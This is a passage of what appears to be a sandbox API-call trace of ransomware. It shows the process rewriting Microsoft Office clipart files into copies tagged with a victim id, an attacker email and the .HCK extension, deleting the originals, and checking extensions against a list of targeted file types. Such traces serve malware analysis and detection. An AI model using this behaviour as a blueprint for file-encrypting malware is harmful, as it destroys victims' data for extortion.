Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.737] lstrlenW (lpString=".jpg") returned 4 [0167.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.737] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.737] lstrlenW (lpString="J0107308.WMF") returned 12 [0167.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.745] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=15888) returned 1 [0167.745] CloseHandle (hObject=0x388) returned 1 [0167.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220 [0167.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.753] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.753] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.768] GetLastError () returned 0x0 [0167.768] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3e10, lpOverlapped=0x0) returned 1 [0167.770] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3e20, lpOverlapped=0x0) returned 1 [0167.771] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.771] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.771] SetEndOfFile (hFile=0x360) returned 1 [0167.774] CloseHandle (hObject=0x360) returned 1 [0167.774] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.774] SetEndOfFile (hFile=0x388) returned 1 [0167.777] CloseHandle (hObject=0x388) returned 1 [0167.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.780] lstrlenW (lpString=".doc") returned 4 [0167.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString=".docx") returned 5 [0167.780] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.780] lstrlenW (lpString=".pdf") returned 4 [0167.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString=".xls") returned 4 [0167.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.780] lstrlenW (lpString=".xlsx") returned 5 [0167.780] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.780] lstrlenW (lpString=".ppt") returned 4 [0167.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.780] lstrlenW (lpString=".zip") returned 4 [0167.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.780] lstrlenW (lpString=".rar") returned 4 [0167.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString=".bz2") returned 4 [0167.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString=".7z") returned 3 [0167.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.780] lstrlenW (lpString=".dbf") returned 4 [0167.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.780] lstrlenW (lpString=".1cd") returned 4 [0167.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.780] lstrlenW (lpString=".jpg") returned 4 [0167.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.781] lstrlenW (lpString=".doc") returned 4 [0167.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString=".docx") returned 5 [0167.781] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.781] lstrlenW (lpString=".pdf") returned 4 [0167.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString=".xls") returned 4 [0167.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.781] lstrlenW (lpString=".xlsx") returned 5 [0167.781] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.781] lstrlenW (lpString=".ppt") returned 4 [0167.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.781] lstrlenW (lpString=".zip") returned 4 [0167.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.781] lstrlenW (lpString=".rar") returned 4 [0167.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString=".bz2") returned 4 [0167.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString=".7z") returned 3 [0167.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.781] lstrlenW (lpString=".dbf") returned 4 [0167.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.781] lstrlenW (lpString=".1cd") returned 4 [0167.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0167.781] lstrlenW (lpString=".jpg") returned 4 [0167.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.781] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.781] lstrlenW (lpString="J0107342.WMF") returned 12 [0167.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0167.787] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4244) returned 1 [0167.787] CloseHandle (hObject=0x398) returned 1 [0167.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220 [0167.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.795] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.795] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0167.799] GetLastError () returned 0x0 [0167.799] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1094, lpOverlapped=0x0) returned 1 [0167.803] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10a0, lpOverlapped=0x0) returned 1 [0167.805] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.805] WriteFile (in: hFile=0x360, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.805] SetEndOfFile (hFile=0x360) returned 1 [0167.808] CloseHandle (hObject=0x360) returned 1 [0167.809] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.809] SetEndOfFile (hFile=0x370) returned 1 [0167.812] CloseHandle (hObject=0x370) returned 1 [0167.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0167.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.815] lstrlenW (lpString=".doc") returned 4 [0167.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.815] lstrlenW (lpString=".docx") returned 5 [0167.815] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.816] lstrlenW (lpString=".pdf") returned 4 [0167.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString=".xls") returned 4 [0167.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.816] lstrlenW (lpString=".xlsx") returned 5 [0167.816] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.816] lstrlenW (lpString=".ppt") returned 4 [0167.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.816] lstrlenW (lpString=".zip") returned 4 [0167.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.816] lstrlenW (lpString=".rar") returned 4 [0167.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString=".bz2") returned 4 [0167.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString=".7z") returned 3 [0167.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.816] lstrlenW (lpString=".dbf") returned 4 [0167.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.816] lstrlenW (lpString=".1cd") returned 4 [0167.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.816] lstrlenW (lpString=".jpg") returned 4 [0167.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.816] lstrlenW (lpString=".doc") returned 4 [0167.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString=".docx") returned 5 [0167.816] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.816] lstrlenW (lpString=".pdf") returned 4 [0167.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString=".xls") returned 4 [0167.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.816] lstrlenW (lpString=".xlsx") returned 5 [0167.816] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.816] lstrlenW (lpString=".ppt") returned 4 [0167.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.816] lstrlenW (lpString=".zip") returned 4 [0167.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.816] lstrlenW (lpString=".rar") returned 4 [0167.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString=".bz2") returned 4 [0167.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.816] lstrlenW (lpString=".7z") returned 3 [0167.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.816] lstrlenW (lpString=".dbf") returned 4 [0167.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.817] lstrlenW (lpString=".1cd") returned 4 [0167.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0167.817] lstrlenW (lpString=".jpg") returned 4 [0167.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.817] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.817] lstrlenW (lpString="J0107364.WMF") returned 12 [0167.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.819] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16588) returned 1 [0167.819] CloseHandle (hObject=0x378) returned 1 [0167.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220 [0167.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0167.831] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.831] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0167.839] GetLastError () returned 0x0 [0167.839] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x40cc, lpOverlapped=0x0) returned 1 [0167.841] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x40d0, lpOverlapped=0x0) returned 1 [0167.842] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.842] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.842] SetEndOfFile (hFile=0x308) returned 1 [0167.846] CloseHandle (hObject=0x308) returned 1 [0167.846] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.846] SetEndOfFile (hFile=0x3ac) returned 1 [0167.847] CloseHandle (hObject=0x3ac) returned 1 [0167.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0167.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.853] lstrlenW (lpString=".doc") returned 4 [0167.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.853] lstrlenW (lpString=".docx") returned 5 [0167.853] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.853] lstrlenW (lpString=".pdf") returned 4 [0167.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.853] lstrlenW (lpString=".xls") returned 4 [0167.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.853] lstrlenW (lpString=".xlsx") returned 5 [0167.853] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.853] lstrlenW (lpString=".ppt") returned 4 [0167.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.853] lstrlenW (lpString=".zip") returned 4 [0167.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.853] lstrlenW (lpString=".rar") returned 4 [0167.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.853] lstrlenW (lpString=".bz2") returned 4 [0167.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.853] lstrlenW (lpString=".7z") returned 3 [0167.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.853] lstrlenW (lpString=".dbf") returned 4 [0167.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.854] lstrlenW (lpString=".1cd") returned 4 [0167.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.854] lstrlenW (lpString=".jpg") returned 4 [0167.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.854] lstrlenW (lpString=".doc") returned 4 [0167.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString=".docx") returned 5 [0167.854] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.854] lstrlenW (lpString=".pdf") returned 4 [0167.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString=".xls") returned 4 [0167.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.854] lstrlenW (lpString=".xlsx") returned 5 [0167.854] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.854] lstrlenW (lpString=".ppt") returned 4 [0167.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.854] lstrlenW (lpString=".zip") returned 4 [0167.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.854] lstrlenW (lpString=".rar") returned 4 [0167.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString=".bz2") returned 4 [0167.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString=".7z") returned 3 [0167.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.854] lstrlenW (lpString=".dbf") returned 4 [0167.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.854] lstrlenW (lpString=".1cd") returned 4 [0167.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0167.854] lstrlenW (lpString=".jpg") returned 4 [0167.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.854] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.854] lstrlenW (lpString="J0107452.WMF") returned 12 [0167.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft 